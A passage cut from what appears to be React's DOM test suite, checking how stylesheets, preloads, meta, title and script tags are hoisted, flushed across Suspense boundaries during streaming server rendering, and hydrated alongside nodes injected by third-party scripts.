data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"baz\" data-precedence=\"one\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"two\" />\n          <link rel=\"preload\" as=\"style\" href=\"baz\" />\n        </head>\n        <body>\n          <div>Goodbye</div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('inserts preloads in render phase eagerly', async () => {\n    function Throw() {\n      throw new Error('Uh oh!');\n    }\n    class ErrorBoundary extends React.Component {\n      state = {hasError: false, error: null};\n      static getDerivedStateFromError(error) {\n        return {\n          hasError: true,\n          error,\n        };\n      }\n      render() {\n        if (this.state.hasError) {\n          return this.state.error.message;\n        }\n        return this.props.children;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    root.render(\n      <ErrorBoundary>\n        <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n        <div>foo</div>\n        <Throw />\n      </ErrorBoundary>,\n    );\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n        </head>\n        <body>\n          <div id=\"container\">Uh oh!</div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('will include child boundary stylesheet resources in the boundary reveal instruction', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <div>\n              <Suspense fallback=\"loading foo...\">\n                <BlockedOn value=\"foo\">\n                  <div>foo</div>\n                  <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n                  <Suspense fallback=\"loading bar...\">\n                    <BlockedOn value=\"bar\">\n                      <div>bar</div>\n                      <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n                      <Suspense fallback=\"loading baz...\">\n                        <BlockedOn value=\"baz\">\n                          <div>baz</div>\n                          <link\n                            rel=\"stylesheet\"\n                            href=\"baz\"\n                            precedence=\"default\"\n                          />\n                        </BlockedOn>\n                      </Suspense>\n                    </BlockedOn>\n                  </Suspense>\n                </BlockedOn>\n              </Suspense>\n            </div>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div>loading foo...</div>\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('bar');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div>loading foo...</div>\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('baz');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div>loading foo...</div>\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('foo');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"baz\" data-precedence=\"default\" />\n        </head>\n        <body>\n          <div>loading foo...</div>\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n          <link rel=\"preload\" href=\"baz\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      const event = document.createEvent('Events');\n      event.initEvent('load', true, true);\n      Array.from(document.querySelectorAll('link[rel=\"stylesheet\"]')).forEach(\n        el => {\n          el.dispatchEvent(event);\n        },\n      );\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"baz\" data-precedence=\"default\" />\n        </head>\n        <body>\n          <div>\n            <div>foo</div>\n            <div>bar</div>\n            <div>baz</div>\n          </div>\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n          <link rel=\"preload\" href=\"baz\" as=\"style\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('will hoist resources of child boundaries emitted as part of a partial boundary to the parent boundary', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <div>\n              <Suspense fallback=\"loading...\">\n                <div>\n                  <BlockedOn value=\"foo\">\n                    <div>foo</div>\n                    <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n                    <Suspense fallback=\"loading bar...\">\n                      <BlockedOn value=\"bar\">\n                        <div>bar</div>\n                        <link\n                          rel=\"stylesheet\"\n                          href=\"bar\"\n                          precedence=\"default\"\n                        />\n                        <Suspense fallback=\"loading baz...\">\n                          <div>\n                            <BlockedOn value=\"baz\">\n                              <div>baz</div>\n                              <link\n                                rel=\"stylesheet\"\n                                href=\"baz\"\n                                precedence=\"default\"\n                              />\n                            </BlockedOn>\n                          </div>\n                        </Suspense>\n                      </BlockedOn>\n                    </Suspense>\n                  </BlockedOn>\n                  <BlockedOn value=\"qux\">\n                    <div>qux</div>\n                    <link rel=\"stylesheet\" href=\"qux\" precedence=\"default\" />\n                  </BlockedOn>\n                </div>\n              </Suspense>\n            </div>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div>loading...</div>\n        </body>\n      </html>,\n    );\n\n    // This will enqueue a stylesheet resource in a deep blocked boundary (loading baz...).\n    await act(() => {\n      resolveText('baz');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div>loading...</div>\n        </body>\n      </html>,\n    );\n\n    // This will enqueue a stylesheet resource in the intermediate blocked boundary (loading bar...).\n    await act(() => {\n      resolveText('bar');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div>loading...</div>\n        </body>\n      </html>,\n    );\n\n    // This will complete a segment in the top level boundary that is still blocked on another segment.\n    // It will flush the completed segment however the inner boundaries should not emit their style dependencies\n    // because they are not going to be revealed yet. instead their dependencies are hoisted to the blocked\n    // boundary (top level).\n    await act(() => {\n      resolveText('foo');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div>loading...</div>\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n          <link rel=\"preload\" href=\"baz\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    // This resolves the last blocked segment on the top level boundary so we see all dependencies of the\n    // nested boundaries emitted at this level\n    await act(() => {\n      resolveText('qux');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"baz\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"qux\" data-precedence=\"default\" />\n        </head>\n        <body>\n          <div>loading...</div>\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n          <link rel=\"preload\" href=\"baz\" as=\"style\" />\n          <link rel=\"preload\" href=\"qux\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    // We load all stylesheets and confirm the content is revealed\n    await act(() => {\n      const event = document.createEvent('Events');\n      event.initEvent('load', true, true);\n      Array.from(document.querySelectorAll('link[rel=\"stylesheet\"]')).forEach(\n        el => {\n          el.dispatchEvent(event);\n        },\n      );\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"baz\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"qux\" data-precedence=\"default\" />\n        </head>\n        <body>\n          <div>\n            <div>\n              <div>foo</div>\n              <div>bar</div>\n              <div>\n                <div>baz</div>\n              </div>\n              <div>qux</div>\n            </div>\n          </div>\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n          <link rel=\"preload\" href=\"baz\" as=\"style\" />\n          <link rel=\"preload\" href=\"qux\" as=\"style\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('encodes attributes consistently whether resources are flushed in shell or in late boundaries', async () => {\n    function App() {\n      return (\n        <html>\n          <head />\n          <body>\n            <div>\n              <link\n                // This preload is explicit so it can flush with a lot of potential attrs\n                // We will duplicate this as a style that flushes after the shell\n                rel=\"stylesheet\"\n                href=\"foo\"\n                // precedence is not a special attribute for preloads so this will just flush as is\n                precedence=\"default\"\n                // Some standard link props\n                crossOrigin=\"anonymous\"\n                media=\"all\"\n                integrity=\"somehash\"\n                referrerPolicy=\"origin\"\n                // data and non starndard attributes that should flush\n                data-foo={'\"quoted\"'}\n                nonStandardAttr=\"attr\"\n                properlyformattednonstandardattr=\"attr\"\n                // attributes that should be filtered out for violating certain rules\n                onSomething=\"this should be removed b/c event handler\"\n                shouldnotincludefunctions={() => {}}\n                norsymbols={Symbol('foo')}\n              />\n              <Suspense fallback={'loading...'}>\n                <BlockedOn value=\"unblock\">\n                  <link\n                    // This preload is explicit so it can flush with a lot of potential attrs\n                    // We will duplicate this as a style that flushes after the shell\n                    rel=\"stylesheet\"\n                    href=\"bar\"\n                    // opt-in property to get this treated as a resource\n                    precedence=\"default\"\n                    // Some standard link props\n                    crossOrigin=\"anonymous\"\n                    media=\"all\"\n                    integrity=\"somehash\"\n                    referrerPolicy=\"origin\"\n                    // data and non starndard attributes that should flush\n                    data-foo={'\"quoted\"'}\n                    nonStandardAttr=\"attr\"\n                    properlyformattednonstandardattr=\"attr\"\n                    // attributes that should be filtered out for violating certain rules\n                    onSomething=\"this should be removed b/c event handler\"\n                    shouldnotincludefunctions={() => {}}\n                    norsymbols={Symbol('foo')}\n                  />\n                </BlockedOn>\n              </Suspense>\n            </div>\n          </body>\n        </html>\n      );\n    }\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"stylesheet\"\n            href=\"foo\"\n            data-precedence=\"default\"\n            crossorigin=\"anonymous\"\n            media=\"all\"\n            integrity=\"somehash\"\n            referrerpolicy=\"origin\"\n            data-foo={'\"quoted\"'}\n            nonstandardattr=\"attr\"\n            properlyformattednonstandardattr=\"attr\"\n          />\n        </head>\n        <body>\n          <div>loading...</div>\n        </body>\n      </html>,\n    );\n    assertConsoleErrorDev([\n      'React does not recognize the `nonStandardAttr` prop on a DOM element. ' +\n        'If you intentionally want it to appear in the DOM as a custom attribute, ' +\n        'spell it as lowercase `nonstandardattr` instead. If you accidentally passed it from a ' +\n        'parent component, remove it from the DOM element.\\n' +\n        '    in link (at **)\\n' +\n        '    in App (at **)',\n      'Invalid values for props `shouldnotincludefunctions`, `norsymbols` on <link> tag. ' +\n        'Either remove them from the element, or pass a string or number value to keep them in the DOM. ' +\n        'For details, see https://react.dev/link/attribute-behavior \\n' +\n        '    in link (at **)\\n' +\n        '    in App (at **)',\n    ]);\n\n    // Now we flush the stylesheet with the boundary\n    await act(() => {\n      resolveText('unblock');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"stylesheet\"\n            href=\"foo\"\n            data-precedence=\"default\"\n            crossorigin=\"anonymous\"\n            media=\"all\"\n            integrity=\"somehash\"\n            referrerpolicy=\"origin\"\n            data-foo={'\"quoted\"'}\n            nonstandardattr=\"attr\"\n            properlyformattednonstandardattr=\"attr\"\n          />\n          <link\n            rel=\"stylesheet\"\n            href=\"bar\"\n            data-precedence=\"default\"\n            crossorigin=\"anonymous\"\n            media=\"all\"\n            integrity=\"somehash\"\n            referrerpolicy=\"origin\"\n            data-foo={'\"quoted\"'}\n            nonstandardattr=\"attr\"\n            properlyformattednonstandardattr=\"attr\"\n          />\n        </head>\n        <body>\n          <div>loading...</div>\n          <link\n            rel=\"preload\"\n            as=\"style\"\n            href=\"bar\"\n            crossorigin=\"anonymous\"\n            media=\"all\"\n            integrity=\"somehash\"\n            referrerpolicy=\"origin\"\n          />\n        </body>\n      </html>,\n    );\n  });\n\n  it('boundary stylesheet resource dependencies hoist to a parent boundary when flushed inline', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <div>\n              <Suspense fallback=\"loading A...\">\n                <BlockedOn value=\"unblock\">\n                  <AsyncText text=\"A\" />\n                  <link rel=\"stylesheet\" href=\"A\" precedence=\"A\" />\n                  <Suspense fallback=\"loading AA...\">\n                    <AsyncText text=\"AA\" />\n                    <link rel=\"stylesheet\" href=\"AA\" precedence=\"AA\" />\n                    <Suspense fallback=\"loading AAA...\">\n                      <AsyncText text=\"AAA\" />\n                      <link rel=\"stylesheet\" href=\"AAA\" precedence=\"AAA\" />\n                      <Suspense fallback=\"loading AAAA...\">\n                        <AsyncText text=\"AAAA\" />\n                        <link rel=\"stylesheet\" href=\"AAAA\" precedence=\"AAAA\" />\n                      </Suspense>\n                    </Suspense>\n                  </Suspense>\n                </BlockedOn>\n              </Suspense>\n            </div>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div>loading A...</div>\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('unblock');\n      resolveText('AAAA');\n      resolveText('AA');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div>loading A...</div>\n          <link rel=\"preload\" as=\"style\" href=\"A\" />\n          <link rel=\"preload\" as=\"style\" href=\"AA\" />\n          <link rel=\"preload\" as=\"style\" href=\"AAA\" />\n          <link rel=\"preload\" as=\"style\" href=\"AAAA\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('A');\n    });\n    await act(() => {\n      document.querySelectorAll('link[rel=\"stylesheet\"]').forEach(l => {\n        const event = document.createEvent('Events');\n        event.initEvent('load', true, true);\n        l.dispatchEvent(event);\n      });\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"A\" data-precedence=\"A\" />\n          <link rel=\"stylesheet\" href=\"AA\" data-precedence=\"AA\" />\n        </head>\n        <body>\n          <div>\n            {'A'}\n            {'AA'}\n            {'loading AAA...'}\n          </div>\n          <link rel=\"preload\" as=\"style\" href=\"A\" />\n          <link rel=\"preload\" as=\"style\" href=\"AA\" />\n          <link rel=\"preload\" as=\"style\" href=\"AAA\" />\n          <link rel=\"preload\" as=\"style\" href=\"AAAA\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('AAA');\n    });\n    await act(() => {\n      document.querySelectorAll('link[rel=\"stylesheet\"]').forEach(l => {\n        const event = document.createEvent('Events');\n        event.initEvent('load', true, true);\n        l.dispatchEvent(event);\n      });\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"A\" data-precedence=\"A\" />\n          <link rel=\"stylesheet\" href=\"AA\" data-precedence=\"AA\" />\n          <link rel=\"stylesheet\" href=\"AAA\" data-precedence=\"AAA\" />\n          <link rel=\"stylesheet\" href=\"AAAA\" data-precedence=\"AAAA\" />\n        </head>\n        <body>\n          <div>\n            {'A'}\n            {'AA'}\n            {'AAA'}\n            {'AAAA'}\n          </div>\n          <link rel=\"preload\" as=\"style\" href=\"A\" />\n          <link rel=\"preload\" as=\"style\" href=\"AA\" />\n          <link rel=\"preload\" as=\"style\" href=\"AAA\" />\n          <link rel=\"preload\" as=\"style\" href=\"AAAA\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('always enforces crossOrigin \"anonymous\" for font preloads', async () => {\n    function App() {\n      ReactDOM.preload('foo', {as: 'font', type: 'font/woff2'});\n      ReactDOM.preload('bar', {as: 'font', crossOrigin: 'foo'});\n      ReactDOM.preload('baz', {as: 'font', crossOrigin: 'use-credentials'});\n      ReactDOM.preload('qux', {as: 'font', crossOrigin: 'anonymous'});\n      return (\n        <html>\n          <head />\n          <body />\n        </html>\n      );\n    }\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"preload\"\n            as=\"font\"\n            href=\"foo\"\n            crossorigin=\"\"\n            type=\"font/woff2\"\n          />\n          <link rel=\"preload\" as=\"font\" href=\"bar\" crossorigin=\"\" />\n          <link rel=\"preload\" as=\"font\" href=\"baz\" crossorigin=\"\" />\n          <link rel=\"preload\" as=\"font\" href=\"qux\" crossorigin=\"\" />\n        </head>\n        <body />\n      </html>,\n    );\n  });\n\n  it('does not hoist anything with an itemprop prop', async () => {\n    function App() {\n      return (\n        <html>\n          <head>\n            <meta itemProp=\"outside\" content=\"unscoped\" />\n            <link itemProp=\"link\" rel=\"foo\" href=\"foo\" />\n            <title itemProp=\"outside-title\">title</title>\n            <link\n              itemProp=\"outside-stylesheet\"\n              rel=\"stylesheet\"\n              href=\"bar\"\n              precedence=\"default\"\n            />\n            <style itemProp=\"outside-style\" href=\"baz\" precedence=\"default\">\n              outside style\n            </style>\n            <script itemProp=\"outside-script\" async={true} src=\"qux\" />\n          </head>\n          <body>\n            <div itemScope={true}>\n              <div>\n                <meta itemProp=\"inside-meta\" content=\"scoped\" />\n                <link itemProp=\"inside-link\" rel=\"foo\" href=\"foo\" />\n                <title itemProp=\"inside-title\">title</title>\n                <link\n                  itemProp=\"inside-stylesheet\"\n                  rel=\"stylesheet\"\n                  href=\"bar\"\n                  precedence=\"default\"\n                />\n                <style itemProp=\"inside-style\" href=\"baz\" precedence=\"default\">\n                  inside style\n                </style>\n                <script itemProp=\"inside-script\" async={true} src=\"qux\" />\n              </div>\n            </div>\n          </body>\n        </html>\n      );\n    }\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta itemprop=\"outside\" content=\"unscoped\" />\n          <link itemprop=\"link\" rel=\"foo\" href=\"foo\" />\n          <title itemprop=\"outside-title\">title</title>\n          <link\n            itemprop=\"outside-stylesheet\"\n            rel=\"stylesheet\"\n            href=\"bar\"\n            precedence=\"default\"\n          />\n          <style itemprop=\"outside-style\" href=\"baz\" precedence=\"default\">\n            outside style\n          </style>\n          <script itemprop=\"outside-script\" async=\"\" src=\"qux\" />\n        </head>\n        <body>\n          <div itemscope=\"\">\n            <div>\n              <meta itemprop=\"inside-meta\" content=\"scoped\" />\n              <link itemprop=\"inside-link\" rel=\"foo\" href=\"foo\" />\n              <title itemprop=\"inside-title\">title</title>\n              <link\n                itemprop=\"inside-stylesheet\"\n                rel=\"stylesheet\"\n                href=\"bar\"\n                precedence=\"default\"\n              />\n              <style itemprop=\"inside-style\" href=\"baz\" precedence=\"default\">\n                inside style\n              </style>\n              <script itemprop=\"inside-script\" async=\"\" src=\"qux\" />\n            </div>\n          </div>\n        </body>\n      </html>,\n    );\n\n    ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta itemprop=\"outside\" content=\"unscoped\" />\n          <link itemprop=\"link\" rel=\"foo\" href=\"foo\" />\n          <title itemprop=\"outside-title\">title</title>\n          <link\n            itemprop=\"outside-stylesheet\"\n            rel=\"stylesheet\"\n            href=\"bar\"\n            precedence=\"default\"\n          />\n          <style itemprop=\"outside-style\" href=\"baz\" precedence=\"default\">\n            outside style\n          </style>\n          <script itemprop=\"outside-script\" async=\"\" src=\"qux\" />\n        </head>\n        <body>\n          <div itemscope=\"\">\n            <div>\n              <meta itemprop=\"inside-meta\" content=\"scoped\" />\n              <link itemprop=\"inside-link\" rel=\"foo\" href=\"foo\" />\n              <title itemprop=\"inside-title\">title</title>\n              <link\n                itemprop=\"inside-stylesheet\"\n                rel=\"stylesheet\"\n                href=\"bar\"\n                precedence=\"default\"\n              />\n              <style itemprop=\"inside-style\" href=\"baz\" precedence=\"default\">\n                inside style\n              </style>\n              <script itemprop=\"inside-script\" async=\"\" src=\"qux\" />\n            </div>\n          </div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('warns if you render <meta> tag with itemProp outside <body> or <head>', async () => {\n    const root = ReactDOMClient.createRoot(document);\n    root.render(\n      <html>\n        <meta itemProp=\"foo\" />\n      </html>,\n    );\n\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Cannot render a <meta> outside the main document if it has an `itemProp` prop. ' +\n        '`itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. ' +\n        'If you were intending for React to hoist this <meta> remove the `itemProp` prop. ' +\n        'Otherwise, try moving this tag into the <head> or <body> of the Document.\\n' +\n        '    in html (at **)',\n      'In HTML, <meta> cannot be a child of <html>.\\n' +\n        'This will cause a hydration error.\\n' +\n        '\\n' +\n        '> <html>\\n' +\n        '>   <meta itemProp=\"foo\">' +\n        '\\n' +\n        '\\n    in meta (at **)',\n    ]);\n  });\n\n  it('warns if you render a <title> tag with itemProp outside <body> or <head>', async () => {\n    const root = ReactDOMClient.createRoot(document);\n    root.render(\n      <html>\n        <title itemProp=\"foo\">title</title>\n      </html>,\n    );\n\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Cannot render a <title> outside the main document if it has an `itemProp` prop. ' +\n        '`itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. ' +\n        'If you were intending for React to hoist this <title> remove the `itemProp` prop. ' +\n        'Otherwise, try moving this tag into the <head> or <body> of the Document.\\n' +\n        '    in html (at **)',\n      'In HTML, <title> cannot be a child of <html>.\\n' +\n        'This will cause a hydration error.\\n' +\n        '\\n' +\n        '> <html>\\n' +\n        '>   <title itemProp=\"foo\">' +\n        '\\n' +\n        '\\n    in title (at **)',\n    ]);\n  });\n\n  it('warns if you render a <style> tag with itemProp outside <body> or <head>', async () => {\n    const root = ReactDOMClient.createRoot(document);\n    root.render(\n      <html>\n        <style itemProp=\"foo\">style</style>\n      </html>,\n    );\n\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Cannot render a <style> outside the main document if it has an `itemProp` prop. ' +\n        '`itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. ' +\n        'If you were intending for React to hoist this <style> remove the `itemProp` prop. ' +\n        'Otherwise, try moving this tag into the <head> or <body> of the Document.\\n' +\n        '    in html (at **)',\n      'In HTML, <style> cannot be a child of <html>.\\n' +\n        'This will cause a hydration error.\\n' +\n        '\\n' +\n        '> <html>\\n' +\n        '>   <style itemProp=\"foo\">' +\n        '\\n' +\n        '\\n    in style (at **)',\n    ]);\n  });\n\n  it('warns if you render a <link> tag with itemProp outside <body> or <head>', async () => {\n    const root = ReactDOMClient.createRoot(document);\n    root.render(\n      <html>\n        <link itemProp=\"foo\" />\n      </html>,\n    );\n\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Cannot render a <link> outside the main document if it has an `itemProp` prop. ' +\n        '`itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. ' +\n        'If you were intending for React to hoist this <link> remove the `itemProp` prop. ' +\n        'Otherwise, try moving this tag into the <head> or <body> of the Document.\\n' +\n        '    in html (at **)',\n      'In HTML, <link> cannot be a child of <html>.\\n' +\n        'This will cause a hydration error.\\n' +\n        '\\n' +\n        '> <html>\\n' +\n        '>   <link itemProp=\"foo\">\\n' +\n        '\\n' +\n        '    in link (at **)',\n    ]);\n  });\n\n  it('warns if you render a <script> tag with itemProp outside <body> or <head>', async () => {\n    const root = ReactDOMClient.createRoot(document);\n    root.render(\n      <html>\n        <script itemProp=\"foo\" />\n      </html>,\n    );\n\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Cannot render a <script> outside the main document if it has an `itemProp` prop. ' +\n        '`itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. ' +\n        'If you were intending for React to hoist this <script> remove the `itemProp` prop. ' +\n        'Otherwise, try moving this tag into the <head> or <body> of the Document.\\n' +\n        '    in html (at **)',\n      'In HTML, <script> cannot be a child of <html>.\\n' +\n        'This will cause a hydration error.\\n' +\n        '\\n' +\n        '> <html>\\n' +\n        '>   <script itemProp=\"foo\">\\n' +\n        '\\n' +\n        '    in script (at **)',\n      ...(gate('enableTrustedTypesIntegration')\n        ? [\n            'Encountered a script tag while rendering React component. ' +\n              'Scripts inside React components are never executed when rendering on the client. ' +\n              'Consider using template tag instead (https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template).\\n' +\n              '     in script (at **)',\n          ]\n        : []),\n    ]);\n  });\n\n  it('can hydrate resources and components in the head and body even if a browser or 3rd party script injects extra html nodes', async () => {\n    // This is a stress test case for hydrating a complex combination of hoistable elements, hoistable resources and host components\n    // in an environment that has been manipulated by 3rd party scripts/extensions to modify the <head> and <body>\n    function App() {\n      return (\n        <>\n          <link rel=\"foo\" href=\"foo\" />\n          <script async={true} src=\"rendered\" />\n          <link rel=\"stylesheet\" href=\"stylesheet\" precedence=\"default\" />\n          <html itemScope={true}>\n            <head>\n              {/* Component */}\n              <link rel=\"stylesheet\" href=\"stylesheet\" />\n              <script src=\"sync rendered\" data-meaningful=\"\" />\n              <style>{'body { background-color: red; }'}</style>\n              <script src=\"async rendered\" async={true} onLoad={() => {}} />\n              <noscript>\n                <meta name=\"noscript\" content=\"noscript\" />\n              </noscript>\n              <link rel=\"foo\" href=\"foo\" onLoad={() => {}} />\n            </head>\n            <body>\n              {/* Component because it has itemProp */}\n              <meta name=\"foo\" content=\"foo\" itemProp=\"a prop\" />\n              {/* regular Hoistable */}\n              <meta name=\"foo\" content=\"foo\" />\n              {/* regular Hoistable */}\n              <title>title</title>\n              <div itemScope={true}>\n                <div>\n                  <div>deep hello</div>\n                  {/* Component because it has itemProp */}\n                  <meta name=\"foo\" content=\"foo\" itemProp=\"a prop\" />\n                </div>\n              </div>\n            </body>\n          </html>\n          <link rel=\"foo\" href=\"foo\" />\n        </>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html itemscope=\"\">\n        <head>\n          {/* Hoisted Resources and elements */}\n          <link rel=\"stylesheet\" href=\"stylesheet\" data-precedence=\"default\" />\n          <script async=\"\" src=\"rendered\" />\n          <link rel=\"foo\" href=\"foo\" />\n          <meta name=\"foo\" content=\"foo\" />\n          <title>title</title>\n          <link rel=\"foo\" href=\"foo\" />\n          {/* rendered host components */}\n          <link rel=\"stylesheet\" href=\"stylesheet\" />\n          <script src=\"sync rendered\" data-meaningful=\"\" />\n          <style>{'body { background-color: red; }'}</style>\n          <script src=\"async rendered\" async=\"\" />\n          <noscript>&lt;meta name=\"noscript\" content=\"noscript\"&gt;</noscript>\n          <link rel=\"foo\" href=\"foo\" />\n        </head>\n        <body>\n          <meta name=\"foo\" content=\"foo\" itemprop=\"a prop\" />\n          <div itemscope=\"\">\n            <div>\n              <div>deep hello</div>\n              <meta name=\"foo\" content=\"foo\" itemprop=\"a prop\" />\n            </div>\n          </div>\n        </body>\n      </html>,\n    );\n\n    // We inject some styles, divs, scripts into the begginning, middle, and end\n    // of the head / body.\n    const injectedStyle = document.createElement('style');\n    injectedStyle.textContent = 'body { background-color: blue; }';\n    document.head.prepend(injectedStyle.cloneNode(true));\n    document.head.appendChild(injectedStyle.cloneNode(true));\n    document.body.prepend(injectedStyle.cloneNode(true));\n    document.body.appendChild(injectedStyle.cloneNode(true));\n\n    const injectedDiv = document.createElement('div');\n    document.head.prepend(injectedDiv);\n    document.head.appendChild(injectedDiv.cloneNode(true));\n    // We do not prepend a <div> in body because this will conflict with hyration\n    // We still mostly hydrate by matchign tag and <div> does not have any attributes to\n    // differentiate between likely-inject and likely-rendered cases. If a <div> is prepended\n    // in the <body> and you render a <div> as the first child of <body> there will be a conflict.\n    // We consider this a rare edge case and even if it does happen the fallback to client rendering\n    // should patch up the DOM correctly\n    document.body.appendChild(injectedDiv.cloneNode(true));\n\n    const injectedScript = document.createElement('script');\n    injectedScript.setAttribute('async', '');\n    injectedScript.setAttribute('src', 'injected');\n    document.head.prepend(injectedScript);\n    document.head.appendChild(injectedScript.cloneNode(true));\n    document.body.prepend(injectedScript.cloneNode(true));\n    document.body.appendChild(injectedScript.cloneNode(true));\n\n    // We hydrate the same App and confirm the output is identical except for the async\n    // script insertion that happens because we do not SSR async scripts with load handlers.\n    // All the extra inject nodes are preset\n    const root = ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html itemscope=\"\">\n        <head>\n          <script async=\"\" src=\"injected\" />\n          <div />\n          <style>{'body { background-color: blue; }'}</style>\n          <link rel=\"stylesheet\" href=\"stylesheet\" data-precedence=\"default\" />\n          <script async=\"\" src=\"rendered\" />\n          <link rel=\"foo\" href=\"foo\" />\n          <meta name=\"foo\" content=\"foo\" />\n          <title>title</title>\n          <link rel=\"foo\" href=\"foo\" />\n          <link rel=\"stylesheet\" href=\"stylesheet\" />\n          <script src=\"sync rendered\" data-meaningful=\"\" />\n          <style>{'body { background-color: red; }'}</style>\n          <script src=\"async rendered\" async=\"\" />\n          <noscript>&lt;meta name=\"noscript\" 